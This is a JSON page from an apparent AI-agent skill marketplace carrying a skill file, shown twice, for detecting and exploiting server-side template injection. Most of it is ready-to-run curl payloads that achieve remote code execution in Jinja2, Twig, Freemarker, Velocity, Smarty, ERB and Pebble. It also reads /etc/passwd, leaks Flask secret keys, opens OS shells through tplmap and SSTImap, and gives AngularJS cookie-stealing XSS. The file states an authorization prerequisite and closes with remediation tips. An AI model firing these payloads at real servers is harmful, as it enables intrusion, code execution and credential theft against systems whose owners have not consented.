[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M71GX0H3Q3Q4BMT76V8WWGFP":3,"skill-same:01M71GX0H3Q3Q4BMT76V8WWGFP":91},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":39,"linkOnly":40,"markdownContent":41,"markdownBody":42,"frontMatter":43,"refName":64,"commitSha":65,"skillDirectory":66,"forksCount":14,"repositoryHtmlUrl":67,"repositoryHomepageUrl":6,"ownerHtmlUrl":68,"ownerBlogUrl":6,"ownerDescription":69,"updatedAt":70,"install":71,"resources":84},"01M71GX0H3Q3Q4BMT76V8WWGFP","injection-ssti-template-detect",null,"Detecting and exploiting Server-Side Template Injection (SSTI) vulnerabilities across Jinja2, Twig, Freemarker, and other template engines to achieve remote code execution.","DCx7C5\u002Fai-marketplace","DCx7C5","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42419559?v=4","01M71C01G2AZV3NTNGWAWSHJPP","DC","01M71C01GQW6G50S2BYMS7PP3E",0,"MIT","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fweb-application\u002Finjection\u002Fssti\u002Ftemplate\u002Fdetect\u002FSKILL.md",[],[19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38],"injection","ssti","injection ssti template detect","detect","template","sonnet","template-injection","security","owasp","read","de","server","across","code","Bash","cybersecurity","remote","testing","cm","detecting","2026-11-10 10:12:30",false,"---\nname: injection-ssti-template-detect\ndescription: Detecting and exploiting Server-Side Template Injection (SSTI) vulnerabilities across Jinja2, Twig, Freemarker, and other template engines to achieve remote code execution.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- penetration-testing\n- ssti\n- template-injection\n- rce\n- web-security\n- owasp\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmodel: sonnet\nmaxTurns: 20\ntools: [Read, Bash, Glob, Grep]\nmitre_attack:\n- T1190\ncwe:\n- CWE-1336\ncapec: []\n---\n\n# Exploiting Template Injection Vulnerabilities\n\n## When to Use\n\n- During authorized penetration tests when user input is rendered through a server-side template engine\n- When testing error pages, email templates, PDF generators, or report builders that include user-supplied data\n- For assessing applications that allow users to customize templates or notification messages\n- When identifying potential SSTI in parameters that reflect arithmetic results (e.g., `{{7*7}}` returns `49`)\n- During security assessments of CMS platforms, marketing tools, or any application with templating functionality\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement with RCE testing scope\n- **Burp Suite Professional**: For intercepting and modifying template parameters\n- **tplmap**: Automated SSTI exploitation tool (`git clone https:\u002F\u002Fgithub.com\u002Fepinna\u002Ftplmap.git`)\n- **SSTImap**: Modern SSTI scanner (`pip install sstimap`)\n- **curl**: For manual SSTI payload testing\n- **Knowledge of template engines**: Jinja2, Twig, Freemarker, Velocity, Mako, Pebble, ERB, Smarty\n\n## Workflow\n\n### Step 1: Identify Template Injection Points\n\nFind parameters where user input is processed by a template engine.\n\n```bash\n# Inject mathematical expressions to detect template processing\n# If the server evaluates the expression, SSTI may be present\n\n# Universal detection payloads\nPAYLOADS=(\n  '{{7*7}}'           # Jinja2, Twig\n  '${7*7}'            # Freemarker, Velocity, Spring EL\n  '#{7*7}'            # Thymeleaf, Ruby ERB\n  '\u003C%= 7*7 %>'        # ERB (Ruby), EJS (Node.js)\n  '{7*7}'             # Smarty\n  '{{= 7*7}}'         # doT.js\n  '${{7*7}}'          # AngularJS\u002FSpring\n  '#set($x=7*7)$x'   # Velocity\n)\n\nfor payload in \"${PAYLOADS[@]}\"; do\n  encoded=$(python3 -c \"import urllib.parse; print(urllib.parse.quote('$payload'))\")\n  echo -n \"$payload -> \"\n  curl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=$encoded\" | grep -o \"49\"\ndone\n\n# Check common injection locations:\n# - Error pages with reflected input\n# - Profile fields (name, bio, signature)\n# - Email subject\u002Fbody plugins\n# - PDF\u002Freport generation with custom fields\n# - Search results pages\n# - 404 pages reflecting the URL path\n# - Notification plugins\n```\n\n### Step 2: Identify the Template Engine\n\nDetermine which template engine is in use to select the appropriate exploitation technique.\n\n```bash\n# Decision tree for engine identification:\n# {{7*'7'}} => 7777777 = Jinja2 (Python)\n# {{7*'7'}} => 49 = Twig (PHP)\n# ${7*7} => 49 = Freemarker\u002FVelocity (Java)\n# #{7*7} => 49 = Thymeleaf (Java)\n# \u003C%= 7*7 %> => 49 = ERB (Ruby) or EJS (Node.js)\n\n# Test Jinja2 vs Twig\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{7*'7'}}\"\n# 7777777 = Jinja2\n# 49 = Twig\n\n# Test for Jinja2 specifically\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{config}}\"\n# Returns Flask config = Jinja2\u002FFlask\n\n# Test for Freemarker\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=\\${.now}\"\n# Returns date\u002Ftime = Freemarker\n\n# Test for Velocity\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=%23set(%24a=1)%24a\"\n# Returns 1 = Velocity\n\n# Test for Smarty\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={php}echo%20'test';{\u002Fphp}\"\n# Returns test = Smarty\n\n# Test for Pebble\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{%27test%27.class}}\"\n# Returns class info = Pebble\n\n# Use tplmap for automated engine detection\npython3 tplmap.py -u \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=test\"\n```\n\n### Step 3: Exploit Jinja2 (Python\u002FFlask)\n\nAchieve code execution through Jinja2 template injection.\n\n```bash\n# Read configuration\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{config.items()}}\"\n\n# Access secret key\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{config.SECRET_KEY}}\"\n\n# RCE via Jinja2 - method 1: accessing os module through MRO\nPAYLOAD='{{\"\".__class__.__mro__[1].__subclasses__()[407](\"id\",shell=True,stdout=-1).communicate()}}'\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=$(python3 -c \"import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))\")\"\n\n# RCE via Jinja2 - method 2: using cycler\nPAYLOAD='{{cycler.__init__.__globals__.os.popen(\"id\").read()}}'\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=$(python3 -c \"import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))\")\"\n\n# RCE via Jinja2 - method 3: using lipsum\nPAYLOAD='{{lipsum.__globals__[\"os\"].popen(\"whoami\").read()}}'\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=$(python3 -c \"import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))\")\"\n\n# File read via Jinja2\nPAYLOAD='{{\"\".__class__.__mro__[1].__subclasses__()[40](\"\u002Fetc\u002Fpasswd\").read()}}'\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=$(python3 -c \"import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))\")\"\n\n# Enumerate available subclasses to find useful ones\nPAYLOAD='{{\"\".__class__.__mro__[1].__subclasses__()}}'\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=$(python3 -c \"import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))\")\"\n```\n\n### Step 4: Exploit Twig (PHP), Freemarker (Java), and Other Engines\n\nUse engine-specific payloads for exploitation.\n\n```bash\n# --- Twig (PHP) ---\n# RCE via Twig\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{['id']|filter('system')}}\"\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}\"\n\n# Twig file read\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{'\u002Fetc\u002Fpasswd'|file_excerpt(1,30)}}\"\n\n# --- Freemarker (Java) ---\n# RCE via Freemarker\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=\u003C#assign ex=\\\"freemarker.template.utility.Execute\\\"?new()>\\${ex(\\\"id\\\")}\"\n\n# Alternative Freemarker RCE\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=\\${\\\"freemarker.template.utility.Execute\\\"?new()(\\\"whoami\\\")}\"\n\n# --- Velocity (Java) ---\n# RCE via Velocity\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=%23set(%24e=%22e%22)%24e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22id%22)\"\n\n# --- Smarty (PHP) ---\n# RCE via Smarty\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={system('id')}\"\n\n# --- ERB (Ruby) ---\n# RCE via ERB\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=\u003C%25=%20system('id')%20%25>\"\n\n# --- Pebble (Java) ---\n# RCE via Pebble\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={%25%20set%20cmd%20=%20'id'%20%25}{{['java.lang.Runtime']|first.getRuntime().exec(cmd)}}\"\n```\n\n### Step 5: Automate with tplmap and SSTImap\n\nUse automated tools for comprehensive testing and exploitation.\n\n```bash\n# tplmap - Automated SSTI exploitation\npython3 tplmap.py -u \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=test\" --os-shell\n\n# tplmap with POST parameter\npython3 tplmap.py -u \"https:\u002F\u002Ftarget.example.com\u002Fpage\" -d \"name=test\" --os-cmd \"id\"\n\n# tplmap with custom headers\npython3 tplmap.py -u \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=test\" \\\n  -H \"Cookie: session=abc123\" \\\n  -H \"Authorization: Bearer token\" \\\n  --os-cmd \"whoami\"\n\n# SSTImap\nsstimap -u \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=test\"\nsstimap -u \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=test\" --os-shell\n\n# tplmap file read\npython3 tplmap.py -u \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=test\" \\\n  --download \"\u002Fetc\u002Fpasswd\" \"\u002Ftmp\u002Fpasswd\"\n\n# Burp Intruder approach:\n# 1. Send request to Intruder\n# 2. Mark the injectable parameter\n# 3. Load SSTI payload list\n# 4. Grep for indicators: \"49\", error messages, class names\n```\n\n### Step 6: Test Client-Side Template Injection (CSTI)\n\nAssess for Angular\u002FVue\u002FReact expression injection in client-side templates.\n\n```bash\n# AngularJS expression injection\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{constructor.constructor('alert(1)')()}}\"\n\n# AngularJS sandbox bypass (pre-1.6)\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{a]constructor.prototype.charAt=[].join;[\\$eval('a]alert(1)\u002F\u002F')]()}}\"\n\n# Vue.js expression injection\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{_c.constructor('alert(1)')()}}\"\n\n# Check for AngularJS ng-app on the page\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002F\" | grep -i \"ng-app\\|angular\\|vue\\|v-\"\n\n# Test with different CSTI payloads\nfor payload in '{{7*7}}' '{{constructor.constructor(\"return this\")()}}' \\\n  '{{$on.constructor(\"alert(1)\")()}}'; do\n  encoded=$(python3 -c \"import urllib.parse; print(urllib.parse.quote('$payload'))\")\n  echo -n \"$payload: \"\n  curl -s \"https:\u002F\u002Ftarget.example.com\u002Fsearch?q=$encoded\" | grep -oP \"49|alert|constructor\"\ndone\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **SSTI** | Server-Side Template Injection - injecting template directives that execute server-side |\n| **CSTI** | Client-Side Template Injection - injecting expressions into AngularJS\u002FVue templates (leads to XSS) |\n| **Template Engine** | Software that processes template files with placeholders, replacing them with data |\n| **Sandbox Escape** | Bypassing template engine security restrictions to access dangerous functions |\n| **MRO (Method Resolution Order)** | Python class hierarchy traversal used in Jinja2 exploitation |\n| **Object Introspection** | Using `__class__`, `__subclasses__()`, `__globals__` to navigate Python objects |\n| **Blind SSTI** | Template injection where output is not directly visible, requiring OOB techniques |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **tplmap** | Automated SSTI detection and exploitation with OS shell capability |\n| **SSTImap** | Modern SSTI scanner with support for multiple template engines |\n| **Burp Suite Professional** | Request interception and Intruder for payload fuzzing |\n| **Hackvertor (Burp Extension)** | Payload encoding and transformation for bypass techniques |\n| **PayloadsAllTheThings** | Comprehensive SSTI payload reference on GitHub |\n| **OWASP ZAP** | Automated SSTI detection in active scanning mode |\n\n## Common Scenarios\n\n### Scenario 1: Flask Email Template Injection\nA Flask application lets users customize email notification templates. The custom template is rendered with Jinja2 without sandboxing, allowing RCE through `{{config.items()}}` and subclass traversal.\n\n### Scenario 2: Java CMS Freemarker Injection\nA Java-based CMS allows administrators to edit page templates using Freemarker. A lower-privileged editor injects `\u003C#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"id\")}` to execute commands.\n\n### Scenario 3: Error Page SSTI\nA custom 404 error page reflects the requested URL path through a Twig template. Requesting `\u002F{{['id']|filter('system')}}` causes the server to execute the `id` command.\n\n### Scenario 4: AngularJS Client-Side Injection\nA search page renders results using AngularJS with `ng-bind-html`. Searching for `{{constructor.constructor('alert(document.cookie)')()}}` achieves XSS through AngularJS expression evaluation.\n\n## Output Format\n\n```\n## Template Injection Finding\n\n**Vulnerability**: Server-Side Template Injection (Jinja2) - RCE\n**Severity**: Critical (CVSS 9.8)\n**Location**: GET \u002Fpage?name= (name parameter)\n**Template Engine**: Jinja2 (Python 3.9 \u002F Flask 2.3)\n**OWASP Category**: A03:2021 - Injection\n\n### Reproduction Steps\n1. Send GET \u002Fpage?name={{7*7}} - Response contains \"49\" confirming SSTI\n2. Send GET \u002Fpage?name={{config.SECRET_KEY}} - Returns Flask secret key\n3. Send GET \u002Fpage?name={{cycler.__init__.__globals__.os.popen('id').read()}}\n4. Server returns: uid=33(www-data) gid=33(www-data)\n\n### Confirmed Impact\n- Remote code execution as www-data user\n- Secret key disclosure: Flask SECRET_KEY exposed\n- File system read: \u002Fetc\u002Fpasswd, application source code\n- Potential lateral movement to internal network\n\n### Recommendation\n1. Never pass user input directly to template render functions\n2. Use a sandboxed template environment (Jinja2 SandboxedEnvironment)\n3. Implement strict input validation and allowlisting for template variables\n4. Use logic-less template engines (Mustache, Handlebars) where possible\n5. Apply least-privilege OS permissions for the web application user\n```\n","# Exploiting Template Injection Vulnerabilities\n\n## When to Use\n\n- During authorized penetration tests when user input is rendered through a server-side template engine\n- When testing error pages, email templates, PDF generators, or report builders that include user-supplied data\n- For assessing applications that allow users to customize templates or notification messages\n- When identifying potential SSTI in parameters that reflect arithmetic results (e.g., `{{7*7}}` returns `49`)\n- During security assessments of CMS platforms, marketing tools, or any application with templating functionality\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement with RCE testing scope\n- **Burp Suite Professional**: For intercepting and modifying template parameters\n- **tplmap**: Automated SSTI exploitation tool (`git clone https:\u002F\u002Fgithub.com\u002Fepinna\u002Ftplmap.git`)\n- **SSTImap**: Modern SSTI scanner (`pip install sstimap`)\n- **curl**: For manual SSTI payload testing\n- **Knowledge of template engines**: Jinja2, Twig, Freemarker, Velocity, Mako, Pebble, ERB, Smarty\n\n## Workflow\n\n### Step 1: Identify Template Injection Points\n\nFind parameters where user input is processed by a template engine.\n\n```bash\n# Inject mathematical expressions to detect template processing\n# If the server evaluates the expression, SSTI may be present\n\n# Universal detection payloads\nPAYLOADS=(\n  '{{7*7}}'           # Jinja2, Twig\n  '${7*7}'            # Freemarker, Velocity, Spring EL\n  '#{7*7}'            # Thymeleaf, Ruby ERB\n  '\u003C%= 7*7 %>'        # ERB (Ruby), EJS (Node.js)\n  '{7*7}'             # Smarty\n  '{{= 7*7}}'         # doT.js\n  '${{7*7}}'          # AngularJS\u002FSpring\n  '#set($x=7*7)$x'   # Velocity\n)\n\nfor payload in \"${PAYLOADS[@]}\"; do\n  encoded=$(python3 -c \"import urllib.parse; print(urllib.parse.quote('$payload'))\")\n  echo -n \"$payload -> \"\n  curl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=$encoded\" | grep -o \"49\"\ndone\n\n# Check common injection locations:\n# - Error pages with reflected input\n# - Profile fields (name, bio, signature)\n# - Email subject\u002Fbody plugins\n# - PDF\u002Freport generation with custom fields\n# - Search results pages\n# - 404 pages reflecting the URL path\n# - Notification plugins\n```\n\n### Step 2: Identify the Template Engine\n\nDetermine which template engine is in use to select the appropriate exploitation technique.\n\n```bash\n# Decision tree for engine identification:\n# {{7*'7'}} => 7777777 = Jinja2 (Python)\n# {{7*'7'}} => 49 = Twig (PHP)\n# ${7*7} => 49 = Freemarker\u002FVelocity (Java)\n# #{7*7} => 49 = Thymeleaf (Java)\n# \u003C%= 7*7 %> => 49 = ERB (Ruby) or EJS (Node.js)\n\n# Test Jinja2 vs Twig\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{7*'7'}}\"\n# 7777777 = Jinja2\n# 49 = Twig\n\n# Test for Jinja2 specifically\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{config}}\"\n# Returns Flask config = Jinja2\u002FFlask\n\n# Test for Freemarker\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=\\${.now}\"\n# Returns date\u002Ftime = Freemarker\n\n# Test for Velocity\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=%23set(%24a=1)%24a\"\n# Returns 1 = Velocity\n\n# Test for Smarty\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={php}echo%20'test';{\u002Fphp}\"\n# Returns test = Smarty\n\n# Test for Pebble\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{%27test%27.class}}\"\n# Returns class info = Pebble\n\n# Use tplmap for automated engine detection\npython3 tplmap.py -u \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=test\"\n```\n\n### Step 3: Exploit Jinja2 (Python\u002FFlask)\n\nAchieve code execution through Jinja2 template injection.\n\n```bash\n# Read configuration\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{config.items()}}\"\n\n# Access secret key\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{config.SECRET_KEY}}\"\n\n# RCE via Jinja2 - method 1: accessing os module through MRO\nPAYLOAD='{{\"\".__class__.__mro__[1].__subclasses__()[407](\"id\",shell=True,stdout=-1).communicate()}}'\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=$(python3 -c \"import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))\")\"\n\n# RCE via Jinja2 - method 2: using cycler\nPAYLOAD='{{cycler.__init__.__globals__.os.popen(\"id\").read()}}'\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=$(python3 -c \"import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))\")\"\n\n# RCE via Jinja2 - method 3: using lipsum\nPAYLOAD='{{lipsum.__globals__[\"os\"].popen(\"whoami\").read()}}'\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=$(python3 -c \"import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))\")\"\n\n# File read via Jinja2\nPAYLOAD='{{\"\".__class__.__mro__[1].__subclasses__()[40](\"\u002Fetc\u002Fpasswd\").read()}}'\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=$(python3 -c \"import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))\")\"\n\n# Enumerate available subclasses to find useful ones\nPAYLOAD='{{\"\".__class__.__mro__[1].__subclasses__()}}'\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=$(python3 -c \"import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))\")\"\n```\n\n### Step 4: Exploit Twig (PHP), Freemarker (Java), and Other Engines\n\nUse engine-specific payloads for exploitation.\n\n```bash\n# --- Twig (PHP) ---\n# RCE via Twig\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{['id']|filter('system')}}\"\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}\"\n\n# Twig file read\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{'\u002Fetc\u002Fpasswd'|file_excerpt(1,30)}}\"\n\n# --- Freemarker (Java) ---\n# RCE via Freemarker\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=\u003C#assign ex=\\\"freemarker.template.utility.Execute\\\"?new()>\\${ex(\\\"id\\\")}\"\n\n# Alternative Freemarker RCE\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=\\${\\\"freemarker.template.utility.Execute\\\"?new()(\\\"whoami\\\")}\"\n\n# --- Velocity (Java) ---\n# RCE via Velocity\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=%23set(%24e=%22e%22)%24e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22id%22)\"\n\n# --- Smarty (PHP) ---\n# RCE via Smarty\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={system('id')}\"\n\n# --- ERB (Ruby) ---\n# RCE via ERB\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=\u003C%25=%20system('id')%20%25>\"\n\n# --- Pebble (Java) ---\n# RCE via Pebble\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={%25%20set%20cmd%20=%20'id'%20%25}{{['java.lang.Runtime']|first.getRuntime().exec(cmd)}}\"\n```\n\n### Step 5: Automate with tplmap and SSTImap\n\nUse automated tools for comprehensive testing and exploitation.\n\n```bash\n# tplmap - Automated SSTI exploitation\npython3 tplmap.py -u \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=test\" --os-shell\n\n# tplmap with POST parameter\npython3 tplmap.py -u \"https:\u002F\u002Ftarget.example.com\u002Fpage\" -d \"name=test\" --os-cmd \"id\"\n\n# tplmap with custom headers\npython3 tplmap.py -u \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=test\" \\\n  -H \"Cookie: session=abc123\" \\\n  -H \"Authorization: Bearer token\" \\\n  --os-cmd \"whoami\"\n\n# SSTImap\nsstimap -u \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=test\"\nsstimap -u \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=test\" --os-shell\n\n# tplmap file read\npython3 tplmap.py -u \"https:\u002F\u002Ftarget.example.com\u002Fpage?name=test\" \\\n  --download \"\u002Fetc\u002Fpasswd\" \"\u002Ftmp\u002Fpasswd\"\n\n# Burp Intruder approach:\n# 1. Send request to Intruder\n# 2. Mark the injectable parameter\n# 3. Load SSTI payload list\n# 4. Grep for indicators: \"49\", error messages, class names\n```\n\n### Step 6: Test Client-Side Template Injection (CSTI)\n\nAssess for Angular\u002FVue\u002FReact expression injection in client-side templates.\n\n```bash\n# AngularJS expression injection\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{constructor.constructor('alert(1)')()}}\"\n\n# AngularJS sandbox bypass (pre-1.6)\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{a]constructor.prototype.charAt=[].join;[\\$eval('a]alert(1)\u002F\u002F')]()}}\"\n\n# Vue.js expression injection\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?name={{_c.constructor('alert(1)')()}}\"\n\n# Check for AngularJS ng-app on the page\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002F\" | grep -i \"ng-app\\|angular\\|vue\\|v-\"\n\n# Test with different CSTI payloads\nfor payload in '{{7*7}}' '{{constructor.constructor(\"return this\")()}}' \\\n  '{{$on.constructor(\"alert(1)\")()}}'; do\n  encoded=$(python3 -c \"import urllib.parse; print(urllib.parse.quote('$payload'))\")\n  echo -n \"$payload: \"\n  curl -s \"https:\u002F\u002Ftarget.example.com\u002Fsearch?q=$encoded\" | grep -oP \"49|alert|constructor\"\ndone\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **SSTI** | Server-Side Template Injection - injecting template directives that execute server-side |\n| **CSTI** | Client-Side Template Injection - injecting expressions into AngularJS\u002FVue templates (leads to XSS) |\n| **Template Engine** | Software that processes template files with placeholders, replacing them with data |\n| **Sandbox Escape** | Bypassing template engine security restrictions to access dangerous functions |\n| **MRO (Method Resolution Order)** | Python class hierarchy traversal used in Jinja2 exploitation |\n| **Object Introspection** | Using `__class__`, `__subclasses__()`, `__globals__` to navigate Python objects |\n| **Blind SSTI** | Template injection where output is not directly visible, requiring OOB techniques |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **tplmap** | Automated SSTI detection and exploitation with OS shell capability |\n| **SSTImap** | Modern SSTI scanner with support for multiple template engines |\n| **Burp Suite Professional** | Request interception and Intruder for payload fuzzing |\n| **Hackvertor (Burp Extension)** | Payload encoding and transformation for bypass techniques |\n| **PayloadsAllTheThings** | Comprehensive SSTI payload reference on GitHub |\n| **OWASP ZAP** | Automated SSTI detection in active scanning mode |\n\n## Common Scenarios\n\n### Scenario 1: Flask Email Template Injection\nA Flask application lets users customize email notification templates. The custom template is rendered with Jinja2 without sandboxing, allowing RCE through `{{config.items()}}` and subclass traversal.\n\n### Scenario 2: Java CMS Freemarker Injection\nA Java-based CMS allows administrators to edit page templates using Freemarker. A lower-privileged editor injects `\u003C#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"id\")}` to execute commands.\n\n### Scenario 3: Error Page SSTI\nA custom 404 error page reflects the requested URL path through a Twig template. Requesting `\u002F{{['id']|filter('system')}}` causes the server to execute the `id` command.\n\n### Scenario 4: AngularJS Client-Side Injection\nA search page renders results using AngularJS with `ng-bind-html`. Searching for `{{constructor.constructor('alert(document.cookie)')()}}` achieves XSS through AngularJS expression evaluation.\n\n## Output Format\n\n```\n## Template Injection Finding\n\n**Vulnerability**: Server-Side Template Injection (Jinja2) - RCE\n**Severity**: Critical (CVSS 9.8)\n**Location**: GET \u002Fpage?name= (name parameter)\n**Template Engine**: Jinja2 (Python 3.9 \u002F Flask 2.3)\n**OWASP Category**: A03:2021 - Injection\n\n### Reproduction Steps\n1. Send GET \u002Fpage?name={{7*7}} - Response contains \"49\" confirming SSTI\n2. Send GET \u002Fpage?name={{config.SECRET_KEY}} - Returns Flask secret key\n3. Send GET \u002Fpage?name={{cycler.__init__.__globals__.os.popen('id').read()}}\n4. Server returns: uid=33(www-data) gid=33(www-data)\n\n### Confirmed Impact\n- Remote code execution as www-data user\n- Secret key disclosure: Flask SECRET_KEY exposed\n- File system read: \u002Fetc\u002Fpasswd, application source code\n- Potential lateral movement to internal network\n\n### Recommendation\n1. Never pass user input directly to template render functions\n2. Use a sandboxed template environment (Jinja2 SandboxedEnvironment)\n3. Implement strict input validation and allowlisting for template variables\n4. Use logic-less template engines (Mustache, Handlebars) where possible\n5. Apply least-privilege OS permissions for the web application user\n```\n",{"cwe":44,"name":5,"tags":46,"capec":50,"model":24,"tools":51,"domain":34,"maxTurns":55,"nist_csf":56,"subdomain":61,"description":7,"mitre_attack":62},[45],"CWE-1336",[47,20,25,48,49,27],"penetration-testing","rce","web-security",[],[52,33,53,54],"Read","Glob","Grep",20,[57,58,59,60],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01","web-application-security",[63],"T1190","main","a91f1293287ffa9f4f1b8f486cd6e835a1568c84","skills\u002Fweb-application\u002Finjection\u002Fssti\u002Ftemplate\u002Fdetect","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace","https:\u002F\u002Fgithub.com\u002FDCx7C5","#Python","2026-09-01 11:21:00",{"source":8,"skillName":5,"commands":72,"prompt":82,"zipAvailable":83},[73,76,79],{"tool":74,"command":75},"npx","npx skills add DCx7C5\u002Fai-marketplace --skill injection-ssti-template-detect",{"tool":77,"command":78},"bunx","bunx skills add DCx7C5\u002Fai-marketplace --skill injection-ssti-template-detect",{"tool":80,"command":81},"pnpm","pnpm dlx skills add DCx7C5\u002Fai-marketplace --skill 